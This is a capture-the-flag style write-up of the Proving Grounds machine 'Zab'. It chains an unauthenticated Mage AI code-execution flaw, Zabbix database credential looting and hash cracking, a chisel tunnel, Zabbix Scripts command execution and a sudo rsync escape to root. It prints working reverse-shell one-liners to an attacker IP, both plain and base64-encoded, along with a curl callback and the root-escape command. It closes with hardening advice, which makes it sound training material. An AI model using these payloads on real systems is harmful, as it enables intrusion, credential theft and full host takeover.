
This Zab OffSec Practice writeup walks through the Proving Grounds machine from an unauthenticated Mage AI remote code execution to root, via Zabbix credential looting, a localhost-only tunnel and a sudo rsync privilege escalation.
Summary
Zab is a hard Linux box that chains two application-layer misconfigurations into a full compromise. The foothold comes from a Mage AI data-pipeline platform exposed on a non-standard port, whose insecure default authentication lets any visitor create and execute a Python block, yielding zero-click remote code execution (CVE-2025-2129). As www-data, local enumeration surfaces a Zabbix monitoring stack with database credentials stored in its web config. Those credentials open the MySQL backend, where the users table holds bcrypt hashes; cracking the admin hash recovers the Zabbix web password. The Zabbix front end is bound to localhost only, so a reverse tunnel is needed to reach it; once authenticated, the built-in Scripts feature provides command execution as the zabbix service account. Finally, a permissive sudo rule on rsync grants a trivial GTFOBins escape to root.
The interesting part of Zab is not any single exploit but how ordinary, "working as intended" features line up: a dev tool that runs code, a monitoring console that stores its DB password in cleartext, and a backup binary left in sudoers.
Reconnaissance
I start with a full TCP scan. rustscan quickly finds the open ports and hands them to Nmap for service/version detection:
rustscan -a 192.168.150.210 -- -A -oN target
The -- separates rustscan’s own options from the Nmap arguments that follow: -A enables service/version detection, default scripts and OS detection, and -oN target writes normal output to a file.
| PORT | SERVICE | INFO |
|---|---|---|
| 22/tcp | OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 | Ubuntu Jammy; protocol 2.0 |
| 80/tcp | Apache httpd 2.4.52 (Ubuntu) | Default "It works" page; methods GET/POST/HEAD/OPTIONS |
| 6789/tcp | Tornado httpd 6.3.3 | HTTP title Mage; favicon MD5 14B7DB3EB16DEF7F593F14D8621E9BBB |
Port 80 is just the stock Apache landing page — nothing to work with yet. SSH on 22 needs credentials we don’t have. The interesting one is port 6789, running a Python TornadoServer with the page title Mage.
Tornado is only the web framework serving the app, and TornadoServer 6.3.3 itself has no notable public vulnerability. The important lesson here is to fingerprint the application, not just the server banner: loading the site in a browser reveals a Mage AI interface — an open-source data-pipeline / MLOps platform — and, crucially, a version string v0.9.75 rendered in the top-right corner of the UI (hovering over it confirms it refers to Mage AI). Had I stopped at the Tornado banner I would have missed the whole box.
Mage AI v0.9.7x in its default configuration is affected by CVE-2025-2129: an insecure default authentication setup that leads to zero-click remote code execution. A public write-up and PoC are available here:
Initial access
Why Mage AI block execution is RCE
Mage organizes work into pipelines built from blocks. A block can be a data loader, a transformer, an exporter, or a generic custom code block written in Python — and blocks run server-side when executed. In other words, the ability to add and run a block is arbitrary code execution by design. The only thing that is supposed to stop a stranger from doing this is authentication. CVE-2025-2129 is precisely the absence of that control: in the default deployment Mage does not require a login, so any visitor who can reach port 6789 can create a pipeline, drop a Python block, and run it on the host.
Proving code execution
First I confirm the primitive with a harmless out-of-band callback before firing a shell:
- In the UI, create a new pipeline from Batch.
- Add a custom Python block containing:
import os
os.system("curl http://192.168.45.168/test")
- On my machine I start a simple web server to catch the request:
python3 -m http.server 80
- Executing the block produces an inbound
GET /testin my server log — the server is reaching out to me, so code execution is confirmed.
Turning RCE into a reverse shell
Typing a reverse-shell one-liner directly into the block editor is fragile because of nested quotes. The clean trick is to base64-encode the payload so it survives as a single opaque string, then decode and run it server-side.
Start a listener (I use penelope, but nc -lvnp 4444 works just as well):
penelope -O
Encode the payload:
echo -n "/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.168/4444 0>&1' &" | base64
# L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMTY4LzQ0NDQgMD4mMScgJg==
Breaking down the payload before encoding: bash -i launches an interactive shell; >& /dev/tcp/192.168.45.168/4444 redirects both stdout and stderr to a TCP socket to my listener (Bash’s /dev/tcp pseudo-device opens the connection); 0>&1 ties stdin to that same socket, giving a fully interactive channel; the trailing & backgrounds it so the block call returns.
Now edit the Python block to decode the string to a file and execute it:
import os
os.system("echo -n 'L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMTY4LzQ0NDQgMD4mMScgJg==' | base64 -d > /tmp/rce")
os.system("bash /tmp/rce")
Running the block returns a shell as www-data. The local flag is in the web root:
cat /var/www/html/local.txt
Privilege escalation
Stage 1 — www-data to zabbix
Finding the Zabbix stack
Running linpeas on the box flags a Zabbix frontend installation. Zabbix is a popular open-source monitoring platform. A full install has a PHP web console, the zabbix_server daemon, per-host zabbix_agentd agents, and a SQL database that stores both configuration and the users credential table.
╔══════════╣ Analyzing Zabbix Files
-rw-r--r-- 1 www-data www-data /etc/zabbix/web/zabbix.conf.php
-rw-r--r-- 1 root root /etc/zabbix/zabbix_agentd.conf
Server=127.0.0.1
ServerActive=127.0.0.1
Hostname=Zabbix server
ListenIP=127.0.0.1
/usr/share/zabbix/ui/conf/zabbix.conf.php -> /etc/zabbix/web/zabbix.conf.php
The key detail: /etc/zabbix/web/zabbix.conf.php is world-readable (-rw-r--r--). This file is the Zabbix web front end’s database connection config, and Zabbix stores the backend credentials there in plaintext:
// /etc/zabbix/web/zabbix.conf.php
$DB['DATABASE'] = 'zabbix';
$DB['USER'] = 'zabbix';
$DB['PASSWORD'] = '<plaintext password>';
$DB['SERVER'] = 'localhost';
Looting the database
With the leaked credentials I connect to the local MySQL instance (-u sets the user, -p prompts for the password so it never lands in shell history):
mysql -u zabbix -p
Then I navigate to the zabbix database and locate the credential table:
show databases;
use zabbix;
show tables; -- the `users` table holds console accounts
Zabbix stores its console passwords as bcrypt hashes in zabbix.users.passwd. Dumping them:
select username, passwd from users;
+----------+--------------------------------------------------------------+
| username | passwd |
+----------+--------------------------------------------------------------+
| Admin | $2y$10$KA6iPN5sY5.Z4KLerN7XOOO1P7jR8MD2e0SqNRXOsJjV1b.8c5Si. |
| guest | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 |
+----------+--------------------------------------------------------------+
Cracking the admin hash
The $2y$ prefix is the identifier for bcrypt, which Hashcat cracks with hash-mode 3200. -a 0 is a straight dictionary attack, and --username tells Hashcat each line is username:hash so it strips the username before cracking:
# hashes.txt
# Admin:$2y$10$KA6iPN5sY5.Z4KLerN7XOOO1P7jR8MD2e0SqNRXOsJjV1b.8c5Si.
# guest:$2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06
.\hashcat.exe -m 3200 -a 0 hashes.txt rockyou.txt --username
Admin cracks to dinosaur (the guest hash resolves to an empty password — common for Zabbix’s default guest account). I try dinosaur against the system root account for good measure, but it does not work; it is strictly the Zabbix web password.
Tunneling to the localhost-only console
Browsing http://192.168.150.210/zabbix/ from my attacker machine only returns a maintenance page. But requesting the same path from the box itself returns the real application. That difference is the tell: the front end is effectively bound to localhost behind a proxy, so the outside world sees a placeholder while loopback sees the app.
The fix is to bring the box’s local port 80 back to my machine with a reverse tunnel. I use chisel, which tunnels over HTTP/WebSockets. I run the server on my side and the client on the target:
# Attacker — reverse server listening on 9999
chisel server -p 9999 --reverse
# Victim — reverse-forward the box's 127.0.0.1:80 back to my 8888
./chisel client 192.168.45.168:9999 R:8888:127.0.0.1:80
The --reverse flag lets the client request reverse port forwards; R:8888:127.0.0.1:80 means "on the server (my machine) open port 8888, and forward anything arriving there to 127.0.0.1:80 as seen from the client (the target)". Now I can browse the internal Zabbix console locally and log in as Admin:dinosaur:
http://localhost:8888/zabbix/
Scripts-feature RCE as zabbix
Zabbix ships a legitimate remote-command feature under Alerts → Scripts. An admin can define a script that the Zabbix server executes — which means console admin access is code execution as the zabbix service account. I create a new script whose command is the same base64 reverse shell as before (decoded and piped straight into bash):
echo -n 'L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMTY4LzQ0NDQgMD4mMScgJg==' | base64 -d | bash
In the script configuration I set Scope to Manual host action, Type to Script, and Execute on to Zabbix server. Then I trigger it from Monitoring → Hosts → Zabbix server, click the host, and select the script name. My listener catches a new shell as the zabbix user.
Stage 2 — zabbix to root
The zabbix account’s sudo rights are the final misconfiguration. Always check them first on a new shell:
sudo -l
User zabbix may run the following commands on zab:
(ALL : ALL) NOPASSWD: /usr/bin/rsync
rsync is allowed as any user, with no password. rsync is a file-sync tool, but it has a remote-shell option (-e) that normally invokes ssh to reach a remote host — and that option will happily execute any command we give it. This is the classic GTFOBins escape: we point -e at a shell instead of ssh, so rsync spawns our shell as root before it ever tries to sync anything. The 0<&2 1>&2 redirections just reuse the existing terminal’s file descriptors so we get an interactive prompt; x:x is a throwaway "host:path" argument to make rsync parse a remote transfer and thus invoke -e:
sudo rsync -e '/bin/sh -c "/bin/sh 0<&2 1>&2"' x:x
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/proof.txt
Root achieved, proof flag captured.
Conclusion
Zab is a layered, defense-in-depth failure where no single component is catastrophic alone, but their chaining is fatal. The foothold’s root cause is Mage AI shipped with authentication disabled by default (CVE-2025-2129): any data-pipeline platform that executes user-supplied code must never be exposed without authentication, and must treat block execution as the RCE primitive it is. The escalation then follows a classic monitoring-stack pattern — plaintext database credentials in a world-readable web config hand an unprivileged user the backend, where recoverable bcrypt hashes grant the Zabbix admin console, and Zabbix’s Scripts feature turns console admin into code execution as the service account. The final step, a NOPASSWD sudo grant on rsync, is a textbook GTFOBins escape.
Hardening recommendations:
- Enable Mage AI authentication (
REQUIRE_USER_AUTHENTICATION) or firewall port 6789; run the worker least-privileged and sandboxed. - Restrict permissions on
/etc/zabbix/web/zabbix.conf.php(640 root:www-data) so database secrets are not world-readable. - Enforce strong, unique Zabbix admin passwords and disable the
guestaccount so a dumped bcrypt hash is useless. - Scope
sudorules to specific, non-shell-escaping invocations instead of blanketNOPASSWDon interactive-capable binaries likersync,tar,findorvim.
Lessons learned
- Fingerprint web apps from the UI itself, not just banners. The Tornado banner looked inert; the real target was the
v0.9.75version string rendered in the Mage AI page corner. Always read footers, corners, tooltips and "about" strings before concluding a service is uninteresting. - A service that responds differently from localhost is bound to loopback. The Zabbix front end showed a maintenance page externally but the real app when requested on the box — a clear signal to tunnel (chisel reverse forward) rather than abandon it.
- Monitoring stacks (Zabbix/Nagios/PRTG) are credential and RCE goldmines. World-readable web configs leak DB creds; the DB holds crackable admin hashes; and the admin console’s own "remote commands / scripts" feature is code execution by design.
sudo -lfirst, GTFOBins second.NOPASSWDonrsync(ortar,find,vim,awk…) is an instant root escape via its remote-shell option.